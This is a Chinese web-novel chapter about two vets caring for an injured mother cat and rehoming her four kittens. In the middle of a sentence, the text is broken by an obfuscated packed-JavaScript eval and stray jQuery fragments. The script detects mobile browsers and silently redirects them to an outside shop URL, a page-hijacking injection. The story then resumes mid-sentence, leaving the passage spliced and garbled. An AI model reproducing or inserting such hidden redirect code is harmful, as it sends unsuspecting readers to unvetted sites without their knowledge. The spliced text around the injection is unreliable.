母猫在基地里住了下来。不是因为它没有地方去，而是因为它需要时间恢复。它的后腿做了手术，骨头被骨板固定住了，但骨头愈合需要时间，至少需要两个月。两个月里，它不能跑，不能跳，不能做任何剧烈的运动。它能做的就是躺在笼子里，吃，喝，睡觉，喂奶。它的四个孩子也在笼子里，挤在它的肚子下面，闭着眼睛，嘴巴含住□□，吸。吸得很用力，像是一个人在沙漠里走了很久、终于找到了水源、大口大口地喝水。它们不知道自己的妈妈腿断了，不知道它为了把它们带到这个世界上、忍受了多大的痛苦。它们只知道，这里有奶，有温度，有心跳。有妈妈。
苏糖每天都来看它们。不是顺路，是特意。她每天早上先来基地，看看母猫的伤口有没有感染，看看小猫的体重有没有增加，看看母猫有没有给它们喂奶。她做这些事的时候，表情很认真，像是一个在照顾自己孩子的母亲，每一个细节都不能出错。她给母猫换药，清理伤口，检查骨板的位置有没有移位。她给小猫称体重，记录在本子上，画了一条生长曲线。曲线是向上的，每一天都比前一天高一点。那一点就是希望，就是它们在活着的证明。它们在长大，在睁开眼睛，在学会走路，在学会用四条腿——不，它们有四条腿，但它们的妈妈只有三条腿能用，第四条腿还在愈合，还不能着地。它们不知道这些，它们只知道妈妈在，奶在，温暖在。
翟尤有时候也会来。他站在笼子前面，看着母猫舔小猫。母猫的舌头很粗，有很多倒刺，舔在小猫身上，小猫会发出很轻很轻的、像是在说“好舒服”的叫声。它们挤在一起，四个小小的、毛茸茸的、颜色各异的毛球。一只是橘色的，一只是黑色的，一只是白色的，一只是花的。四种颜色，四种性格，四种未来。它们会在未来的某一天，离开妈妈，离开基地，离开这个它们出生的地方，去不同的家，不同的主人，不同的生活。它们不会记得妈妈，不会记得苏糖，不会记得翟尤，不会记得这个在它们刚出生时给它们喂奶、称体重、画生长曲线的人。但它们会活着，健康地、快乐地、被人爱着地活着。这就够了。不是所有付出都要被记住，有些付出就是为了被忘记。你忘记了，但你的身体记得。你的身体记得你吃过谁的奶，被谁舔过毛，在谁的注视下学会了走路。那些记忆不在你的大脑里，在你的骨头里，在你的血液里，在你的每一次心跳里。它们会陪你一辈子，在你不知道的时候，在你不需要想起的时候，在你只是活着、呼吸着、感受着这个世界的时候，默默地、安静地、不打扰地，陪着你。
母猫的伤口愈合得很好。苏糖每次换药的时候，都会跟它说话。不是那种“你要乖乖的不要动”的话，而是那种“你今天看起来气色不错”“你的孩子们又重了”“那只橘色的最胖，每次吃奶都抢第一”的话。她跟它说话的时候，语气很平常，就像在跟一个朋友聊天。母猫听不懂她说的每一个字，但它听懂了那个声音里的东西。那种东西叫“我在乎你”。不在乎你的人不会每天来看你，不会每天给你换药，不会每天给你的孩子称体重、画生长曲线。她在乎你，所以你活着。你活着，所以你的孩子活着。你的孩子活着，所以这个世界上多了四个会在未来的某一天、被人抱在怀里、用脑袋蹭人手心的生命。那些生命会传递下去，一代一代，生生不息。你在乎一个人，那个人在乎另一个人，另一个人在乎另一个人。这条链子不会断，因为它不是用铁做的，是用心做的。心不会断，因为心会自己修复。碎了，粘起来。粘起来了，虽然还有裂缝，但还能用。还能爱，还能在乎，还能在每天早上去看一只腿断了的母猫和它的四个孩子。
小猫们三周大的时候，睁开了眼睛。不是一下子全睁开，是慢慢地、一点一点地、像花苞绽放一样地睁开。先是橘色的那只，然后是黑色的，然后是白色的，然后是花的。它们的眼睛是蓝色的，不是那种深蓝、暗蓝，而是那种浅蓝、透明的蓝，像四颗玻璃珠，在阳光下闪着光。它们第一次看到这个世界的时候，看到了什么？看到了苏糖的脸，圆圆的，带着笑。看到了母猫的脸，瘦瘦的，眼睛很亮。看到了笼子的栏杆，白色的，有点锈。看到了光，从窗户照进来，在地板上画出一块明亮的、温暖的光斑。它们不知道那些是什么，但它们在看着，用它们刚睁开的、蓝色的、透明的眼睛。它们在看，就是它们在活。活不是呼吸，不是心跳，不是体温。活是你在看，你在听，你在感受。你在看着这个世界，不管它好不好，不管它会不会伤害你，不管你能不能理解它。你在看，就是你在活。
苏糖蹲在笼子前面，看着那些小猫的眼睛。蓝色的，透明的，像四颗玻璃珠。她的眼泪掉了下来。不是那种无声的、克制的、怕被人看到的哭，而是那种痛快的、不管不顾的、像是一个人在黑暗中走了很久、终于看到了光、光太亮了、刺得眼睛疼、疼得眼泪自己往下掉的哭。她哭它们睁开了眼睛，哭它们第一次看到这个世界的时候看到了她，哭它们在未来的某一天会离开这里、去不同的家、不同的主人、不同的生活、它们不会记得她。但她在乎，在她还在乎的时候，她在乎。她会在它们还在基地的日子里，每天来看它们，每天给它们称体重、画生长曲线，每天跟母猫说话，每天在它们的蓝色眼睛的注视里，确认一件事——她还活着，她还在做她该做的事，她还在成为她想要成为的人。
母猫的腿在两个月后拆了骨板。不是完全好了，是骨头长好了，骨板可以取出来了。苏糖做了第二次手术，不是主刀，是辅助。翟尤主刀，她在旁边递器械。手术很顺利，骨板取出来了，母猫的腿上留下了一道长长的疤痕，从膝盖到脚踝，像一条蜈蚣趴在它的皮肤上。那条疤痕会一直在，在它的毛下面，在它每一次走路、每一次跑步、每一次跳跃的时候，都会被感觉到。不是疼，是记忆。它记得自己曾经受过伤，曾经不能走路，曾经躺在笼子里，看着自己的孩子在肚子下面吸奶。它记得那些人，那些每天来看它、给它换药、跟它说话、在它孩子睁眼的时候哭了的那些人。它记得，不是因为它记性好，而是因为那些人太好了。好到它的身体记住了。记住了那个人的手的温度，记住了那个人的声音的频率，记住了那个人的眼泪滴在它毛上的感觉。它会记住一辈子，在它不知道的时候，在它不需要想起的时候，在它只是活着、呼吸着、感受着这个世界的时候，默默地、安静地、不打扰地，陪着它。
小猫们两个月大的时候，开始找领养了。不是苏糖找的，是翟尤找的。他在朋友圈发了四只小猫的照片，橘的、黑的、白的、花的，每一只都配了一段文字。橘的那只叫“橘子”，因为它橘。黑的那只叫“黑豆”，因为它黑。白的那只叫“白雪”，因为它白。花的那只叫“花花”，因为它花。名字很普通，普通到不值一提，但它们会在新的家里，被新的主人叫新的名字。橘子可能叫“咪咪”，黑豆可能叫“小黑”，白雪可能叫“小白”，花花可能叫“小花”。名字会变，但它们是同一只猫。不管叫什么，它们都是那只从母猫肚子里出来的、在苏糖的手里被擦干口鼻、在母猫的舌头下被舔毛、在苏糖的注视里睁开眼睛、在翟尤的诊所里长大的猫。它们会在新的家里，在沙发、落地窗、每天变着花样喂罐头的人身边，度过它们的猫生。它们会有很好的一生，不是因为它们幸运，而是因为它们值得。它们在那个最脆弱的、最容易死的、刚出生的时候，没有放弃。它们撑过来了，撑到了睁开眼睛，撑到了学会走路，撑到了被人抱在怀里、说“跟我回家”。它们撑到了，因为它们想活。它们想活，所以它们活了。
领养人来接猫的那天，苏糖没有哭。她站在门口，看着那些小猫一只一只地被抱走，放进航空箱，关上门，离开。橘的走了，黑的走了，白的走了，花的走了。四只小猫，四个方向，四个家。她站在那里，手里还握着那本记录着它们体重增长曲线的本子。曲线是向上的，每一天都比前一天高一点。那一点就是它们在活着的证明。它们在活着，在别的地方，在别人的家里，在别人的怀里。它们不会记得她，但她记得。她会记得它们刚出生时的样子，粉红色的，小小的，闭着眼睛，嘴巴在找奶。她会记得它们睁开眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612819|203008||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时的样子，蓝色的，透明的，像四颗玻璃珠。她会记得它们学会走路时的样子，摇摇晃晃的，走两步就摔，摔了爬起来，再走，再摔，再爬。她会记得它们被抱走时的样子，在航空箱里，看着她的眼睛，那种目光里有一种东西，不是感激，不是信任，而是另一种，是那种你在一地方待了一段时间、遇到了一个对你好的人、现在你要走了、你不知道以后还能不能见到他、但你希望他能好好的那种东西。
母猫还在基地里。它的腿好了，能走路了，但有点瘸。不是那种明显的、一眼就能看出来的瘸，而是那种轻微的、只有在它跑起来的时候才能看出来的瘸。它跑的时候，那条做过手术的腿会稍微往外撇一下，像一个在跳舞的人做了一个不太标准的动作。但它不在乎，因为它还能跑。还能跑，就能追蝴蝶。能追蝴蝶，就能在草地上打滚。能在草地上打滚，就能在阳光好的午后，趴在那里，尾巴卷在脚边，眼睛半闭着，呼噜声又大又长。它会这样过一辈子，在基地里，在金奶奶的照顾下，在苏糖的注视里，在翟尤偶尔来的时候蹭一蹭他的手心。它不会再有孩子了，因为苏糖在它第二次手术的时候，顺便给它做了绝育。它不会再有那种“肚子里有东西在动”的感觉了，不会再有那种“它们要出来了，我要把它们带到这个世界上”的紧张和期待了。但它有了四个孩子，在四个不同的家里，在四个不同的方向，在四个不同的人怀里。它们活着，因为它在那个暴雨的夜晚，在路边，被车撞了，但它没有死。它撑着，撑到了有人来救它，撑到了苏糖把它从子宫里取出来，撑到了它们睁开眼睛、学会走路、被人抱走。它撑到了，因为它想活。它想活，所以它活了。它的孩子也活了。
那天晚上，翟尤躺在床上，安安在他枕头旁边打呼噜，小黑蜷在他脚边，小雪在笼子里翻了个身。三个呼吸声，三种不同的频率，交织在一起，像一首没有旋律的三重奏。他在那首三重奏里，想着母猫和它的孩子。它们都活了，都有了好去处。母猫在基地里，有点瘸，但能跑。小猫们在新的家里，有新的名字，新的主人，新的生活。它们不会记得他，不会记得苏糖，不会记得金奶奶，不会记得这个在它们刚出生时给它们喂奶、称体重、画生长曲线的地方。但他在乎，在他还在乎的时候，他在乎。他会在它们还在这个世界上的每一天，在它们不知道的时候，在它们不需要想起的时候，在它们只是活着、呼吸着、感受着这个世界的时候，默默地、安静地、不打扰地，在乎着。
翟尤在黑暗中睁开眼睛，看着天花板上的水渍。那只“猫”还在，形状没变，还是摊开的样子。他看着它，觉得它在看他。不是那种被动的、无生命的、只是恰好朝向他的方向的“看”，而是一种主动的、有意识的、带着某种审视和确认意味的注视。好像那只水渍画出来的猫，在问他一个问题——“母猫和它的孩子都找到了家。你现在是什么感觉？”
翟尤想了想这个问题，在心里回答了一个词。不是“开心”，不是“满足”，不是“如释重负”。那个词是——“圆。”圆满的“圆”。母猫的腿好了，虽然有点瘸，但能跑。小猫们找到了家，虽然不会记得他，但会活着。母猫在基地里，有点瘸，但能跑。小猫们在新的家里，有新的名字，新的主人，新的生活。它们都圆了，不是完美无缺的圆，而是那种有缺口的、但还能滚的、还在向前走的圆。缺口在，但不会让它停下来。它滚着，在草地上，在阳光下，在蝴蝶飞来飞去的地方，滚着。滚得很慢，但它在前。向前，就是好的。向前，就是圆的。
翟尤闭上眼睛，在那个“圆”字里，沉入了睡眠。梦到了很多东西，但醒来之后什么都不记得了。只记得一个画面——母猫在草地上跑，有点瘸，但很快。它的前面有一只蝴蝶，白色的，很小，翅膀扇得很快。它在追，追不到，但它还在追。因为它不在乎追不追得到，它在乎的是追本身。追，就是活着。活着，就是追。追那些你追不到的东西，追那些你不知道能不能追到的东西，追那些你追到了也不属于你的东西。你在追，你在动，你在向前。你在活着。